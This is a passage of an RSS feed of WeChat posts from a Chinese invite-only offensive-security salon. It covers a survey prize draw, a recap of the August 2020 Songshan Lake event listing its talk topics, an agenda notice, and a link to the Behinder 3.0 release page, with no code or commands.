center;">截止时间</span><span style="text-align: center;">：</span><span style="text-align: center;">9月</span><span style="text-align: center;">29日</span><span style="text-align: center;"> 18</span><span style="text-align: center;">:00</span></strong></p><p style="text-align: center;"><br/></p><p style="text-align: center;">【<strong><span style="text-align: center;">偷偷附个广告</span></strong>】</p><p style="text-align: center;">应广大技术爱好者的墙裂要求</p><p style="text-align: center;">银针安全沙龙将在今年年末 再次来袭</p><p style="text-align: center;">具体时间地点请关注公众号最新消息哦<img data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=bcccaae3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXc5CuQTVUAHmlGjuQ0xa9Uqm3UwTWHH7StKYibo1gNfsHfMvqj7owsiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p>



<p><a href="2247483923">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=895b67db&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483923%26idx%3D1%26sn%3D2890b177f7a6595ed254275140842727%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 25 Sep 2020 14:55:00 +0800</pubDate>
    </item>
    <item>
      <title>参与有礼|银针安全沙龙松山湖站满意度调查</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483911&amp;idx=1&amp;sn=3daad80bcd2d48b69a1e153f1045e98c</link>
      <description>参与调查并回复您对银针安全沙龙的建议，赢华为开发者大会门票！</description>
      <content:encoded><![CDATA[<p>
<span>小仙女</span> <span>2020-08-18 14:20</span> <span style="display: inline-block;"></span>
</p>

<p>参与调查并回复您对银针安全沙龙的建议，赢华为开发者大会门票！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f2aa71d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNicicVkzbmMcQT8ThH7IKkicibdibBfY2nmKtVsQEia5cPAWmSFic9foXicIw3KCGhAiactf0ngIjClIXC0Y5w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span class="vote_area"><iframe scrolling="no" frameborder="0" class="vote_iframe js_editor_vote_card" data-display-style="height: 744px;" data-display-src="/cgi-bin/readtemplate?t=vote/vote-new_tmpl&amp;__biz=MzU1NzcxNjAyMQ==&amp;supervoteid=495574805&amp;token=471322244&amp;lang=zh_CN" data-src="/mp/newappmsgvote?action=show&amp;__biz=MzU1NzcxNjAyMQ==&amp;supervoteid=495574805#wechat_redirect" data-supervoteid="495574805" allowfullscreen="" src="/mp/newappmsgvote?action=show&amp;__biz=MzU1NzcxNjAyMQ==&amp;supervoteid=495574805#wechat_redirect"></iframe><span></span><span></span></span></p><p>完成本次调查并在<strong>后台回复</strong>您参与本次沙龙的<strong>感受</strong>和您对银针安全沙龙的<strong>建议</strong>，我们将随机抽取1位嘉宾送出1张HDC（华为开发者大会）门票！（仅限本次松山湖站参会嘉宾）<br/></p><p>您的建议是我们前进的最大动力，期待收到您的回复~！</p>



<p><a href="2247483911">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=36d94948&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483911%26idx%3D1%26sn%3D3daad80bcd2d48b69a1e153f1045e98c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Aug 2020 14:20:00 +0800</pubDate>
    </item>
    <item>
      <title>文末福利|银针安全沙龙松山湖站精彩回顾，冰蝎3.0内测版发布</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483907&amp;idx=1&amp;sn=5e2f9a8ba1c73672674b19a918310495</link>
      <description>冰蝎3.0内测版抢先来袭，戳文末获取地址！</description>
      <content:encoded><![CDATA[<p>
原创 <span>小仙女</span> <span>2020-08-17 00:34</span> <span style="display: inline-block;"></span>
</p>

<p>冰蝎3.0内测版抢先来袭，戳文末获取地址！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9c756e6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GnEdOEVCZTZOryMucrOMJh5atZwba8oBibbnOX9leceKxJkxNLObAOyQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-indent: 2em;">2020年8月15日，银针安全沙龙松山湖站在充满夏日风情的欧洲小镇顺利举办，沙龙现场汇集了60位攻防经验丰富的一线安全研究员，嘉宾覆盖广东、深圳、东莞各地，甚至有被议题吸引，不远千里前来赴约的大佬，感谢各位嘉宾与我们共同完成了这场以技术为名的盛夏之约。</section><section style="text-indent: 2em;">说起对本次沙龙的感受，最让人印象深刻的评价就是——“太干了“，银针安全沙龙的主旨就是以攻防渗透为主题的闭门邀请制沙龙，本次沙龙的内容覆盖渗透工具、生物认证、二级制攻防、云主机逃逸、OAuth2、Java进程注入、HMS安全攻防等7个方向，<span style="text-indent: 34px;">层层筛选的议题，从各个维度带给大家最新的攻防技术和研究成果。</span><span style="text-indent: 34px;"></span>每个议题的讨论环节，在场的嘉宾更是参与感满满，现场讨论气氛热烈到停不下来，讨论时长甚至险些超过议题时间，感谢7位优秀的讲师和嘉宾共同完成的这场安全技术的头脑风暴。</section><section style="text-indent: 2em;">除了干货满满的议题，我们还在沙龙设置了茶歇和晚宴环节，给在场的技术大牛们创造了更多交流的环境，在轻松愉悦的氛围中分享对攻防技术和现场议题的体验和感受，以技术为桥梁建立情感的链接。</section><section style="text-indent: 0em;">【沙龙剪影】<br/></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.8265625" data-s="300,640" data-backh="478" data-type="png" data-w="1280" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=9a2c7f55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GzLicIAIiaylMxib3MIEDkx7LakSuTiaMrFyzVORicc7nPgiaYqodEWXaxaaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="553" data-backw="578" data-ratio="0.95625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e6f5e743&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GK3GfAibGS7CVns14ib5khFt8lwiaOmDLA9gyygzm8vRGsV6m6O4kJWy7g%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><br/></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="363" data-backw="578" data-ratio="0.6278342455043002" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1279" src="https://wechat2rss.xlab.app/img-proxy/?k=ad34c18e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GORjPD6A2mcuFicSRHRIqALTf6Tnp3kWjzFt52suic7hKL4FMCBiapzAgA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="262" data-backw="578" data-ratio="0.45269741985926504" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1279" src="https://wechat2rss.xlab.app/img-proxy/?k=cb84c905&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62G0adzv0RHy8QwSovBPDdXS3MAKULPnOPfElbib1LdhE3QicogyNKyRdDg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="415" data-backw="578" data-ratio="0.7171875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a27d88a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GkKb4oD3QEt25jVwuL5oO4xM6ueLIFiaeCTPmgK2N7hqeibsnEOTCKPVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="528" data-backw="578" data-ratio="0.9125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1c48793f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GiaL6uJ3s6H91lVFNXmP8Zc9xYcGb5RCHortN5Aia5eDopAlfCib24cggQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="399" data-backw="578" data-ratio="0.690625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=594b7a7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GVPTHicIK3NzT5trJ3U17SUfykiaC15crMibbzxq3UNb3uwzteKIAzPexw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="288" data-backw="578" data-ratio="0.4984375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=061d72a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GH0mUOLdFnOjkq3KR98MXzDtFibGuvOUox3kDWNjOXEkRet2ycBQ9COA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="376" data-backw="578" data-ratio="0.65" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dda3103c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN83WoPiaOIiao03qxcozXE62GTWLhbErmKiadwz1EURYV8jBX0mNHS6nU9rPhSr9lJKTUgJhPzvcsSqg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;text-indent: 2em;">银针安全沙龙是以攻防实战为主题的邀请制闭门安全沙龙，目前已经在南京、成都、深圳三地举办了三场，场场爆满场场干货，两年来，我们凭借参与嘉宾的口碑在安全技术沙龙圈有了一点小小的声誉。感谢所有参与的讲师和嘉宾。未来，我们会更加努力，为大家带来更多专注攻防实战的技术议题！<br/></p><p style="text-align: left;text-indent: 2em;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 0em;"><strong>文末福利：</strong>冰蝎3.0内测版地址如下：<br/></section><section style="text-indent: 0em;"><a href="https://github.com/rebeyond/Behinder/releases/" target="_blank">https://github.com/rebeyond/Behinder/releases/</a></section>



<p><a href="2247483907">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2cf7db54&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483907%26idx%3D1%26sn%3D5e2f9a8ba1c73672674b19a918310495%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 17 Aug 2020 00:34:00 +0800</pubDate>
    </item>
    <item>
      <title>议题发布|银针安全沙龙松山湖站议程正式发布~风里雨里我们在欧洲小镇等你~</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483890&amp;idx=1&amp;sn=a75fc634abe88cbc9a3cd84278605766</link>
      <description>8月15日，银针安全沙龙松山湖站议程正式发布~风里雨里我们在欧洲小镇等你~欧洲小镇，我们来啦~！</description>
      <content:encoded><![CDATA[<p>
<span>小仙女</span> <span>2020-08-10 11:08</span> <span style="display: inline-block;"></span>
</p>

<p>8月15日，银针安全沙龙松山湖站议程正式发布~风里雨里我们在欧洲小镇等你~欧洲小镇，我们来啦~！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1b3078c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN8cgjwA7SmBHwCmr1OLH4GJFSkB77fHAHcWVts1qicb6nicE3ia6HGQCdPUIwbmfxwa3fE3F5ehibkAQQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="4.580152671755725" data-s="300,640" style="" data-type="jpeg" data-w="786" src="https://wechat2rss.xlab.app/img-proxy/?k=e68f3c7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN8cgjwA7SmBHwCmr1OLH4GJcfPyr3CjBg2DR2sF4xjffdPxtlcKcJueafYyQngGqHlWEPu1OWtN9Q%2F640%3Fwx_fmt%3Djpeg"/></p><p>8月15日，欧洲小镇，我们来啦~！<br/></p>



<p><a href="2247483890">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=23715526&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483890%26idx%3D1%26sn%3Da75fc634abe88cbc9a3cd84278605766%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 10 Aug 2020 11:08:00 +0800</pubDate>
    </item>
  </channel>
</rss>